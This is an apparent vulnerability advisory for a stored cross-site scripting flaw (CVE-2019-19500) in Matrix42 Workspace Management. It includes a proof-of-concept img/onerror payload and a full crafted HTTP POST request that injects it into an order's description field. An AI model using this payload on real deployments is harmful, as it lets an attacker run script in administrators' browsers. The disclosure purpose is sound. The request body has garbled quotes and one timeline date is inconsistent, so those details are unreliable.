Matrix42 Workspace Management version 9.1.2.2765 suffers from a persistent cross site scripting vulnerability.
d7622e1b5af76e87a0ba3b19190d51a8Matrix42 Workspace Management 9.1.2.2765 – Stored Cross-Site Scripting
===============================================================================
Identifiers
-------------------------------------------------
CVE-2019-19500
CVSSv3 score
-------------------------------------------------
9.1 [AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L&version=3.1))
Vendor
-------------------------------------------------
Matrix42 ([https://www.matrix42.com](https://www.matrix42.com/))
Product
-------------------------------------------------
Matrix42 combines the disciplines of Unified Endpoint Management (UEM), Software Asset Management (SAM), Automated Endpoint Security (AES) and Service Management (ITSM). With MyWorkspace, one can use the browser to access data and applications securely regardless of the device. With MX42 Workspace Management, one actively manage devices, applications, processes, and services simple, secure, and compliant. The innovative software seamlessly integrates physical, virtual, mobile and cloud-based workspaces into existing infrastructures.
Affected versions
-------------------------------------------------
- Workspace Management 9.1.2.2765 and below
Credit
-------------------------------------------------
Christian Pappas, Georg Ph E Heise (@gpheheise) / Lufthansa Industry Solutions (@LHIND_DLH)
Vulnerability summary
-------------------------------------------------
Workspace Management 9.1.2.2765 and below have a stored XSS vulnerability in the comment field for special order. A user can use this to exploit other privileged users eg managers or admins who are viewing excepting the order.
Technical details
------------------------------------------------
The custom field when placing orders is vulnerable to a persistent cross site scripting (XSS) attack.
An Attacker has to intercept the request made by the web application and modify it before submitting it to server.
Proof of concept
-------------------------------------------------
The following evidence is provided to illustrate the existence and
exploitation:
Modify the the custom field for special order similar to this:
"<p><strong>Kali Linux <img src=\"foo\" onerror=\"alert(\'Hacked by Lufthansa Industry Solutions!\')\" width=\"100\" height=\"30\"></strong></p>"},"_type"
POST /m42Services/api/WidgetDialog/UpdateData/88b223a6-0686-c617-1445-08d6df7de1cf HTTP/1.1
Host: foo.bar.de
Connection: close
Content-Length: 1629
Origin: https:/foo.bar.de
mx-application-id: MX_APPLICATION_ID
Accept-Language: de-DE
Authorization: Bearer beARerTokenHere
Content-Type: application/json;charset=UTF-8
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
DNT: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://foo.bar.de/wm/app-SelfServicePortal/search-page/subpage
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionId=SESSION_ID
'{"Sys-Entity":"Ud_LHIND_Service_Form_IndividualSoftwareRequestType","ID”:”REQUEST_ID,”Sys-IsNew":false,"Sys-TimeStamp”:”TIMESTA”MP,”Sys-DisplayName":"Formular individuelle Softwareanfrage","Ud_LHIND_Service_Form_IndividualSoftwareRequestClassBase":{"Sys-TimeStamp”:”TIMESTAMP”,”ID":"fIDIDID”,”Software":"test","Description":"<p><strong>Kali Linux <img src=\"foo\" onerror=\"alert(\'Hacked by Lufthansa Industry Solutions!\')\" width=\"100\" height=\"30\"></strong></p>"},"_type":"Ud_LHIND_Service_Form_IndividualSoftwareRequestType","_id”:”IDNUMMER”,”DisplayString":"Formular individuelle Softwareanfrage","_displayName":"Formular individuelle Softwareanfrage","_name":"Formular individuelle Softwareanfrage","IsNew":false,"SPSCommonClassBase":{"Representitives":{"AddedRelations":[],"RemovedRelations":[]},"WorkflowErrors":{"AddedRelations":[],"RemovedRelations":[]},"Tasks":{"AddedRelations":[],"RemovedRelations":[]},"RelatedBackupObject":{"AddedRelations":[],"RemovedRelations":[]},"RelatedDependentObject":{"AddedRelations":[],"RemovedRelations":[]},"ServiceBookings":{"AddedRelations":[],"RemovedRelations":[]},"Bookings":{"AddedRelations":[],"RemovedRelations":[]},"FormForShoppingCarts":{"AddedRelations":[],"RemovedRelations":[]},"Appointments":{"AddedRelations":[],"RemovedRelations":[]},"Memorandums":{"AddedRelations":[],"RemovedRelations":[]},"Service":{"AddedRelations":[],"RemovedRelations":[]},"Orders":{"AddedRelations":[],"RemovedRelations":[]},"ShoppingCarts":{"AddedRelations":[],"RemovedRelations":[]}}}'
`
Solution
-------------------------------------------------
Upgrade to Matrix42 Workspace Management Version 10.0
Timeline
-------------------------------------------------
Date | Status
------------|-----------------------------
02-DEZ-2019 | Reported to vendor
09-DEZ-2020 | Acknowledged by vendor
31-MAR-2020 | Patch available
14-APR-2020 | Public disclosure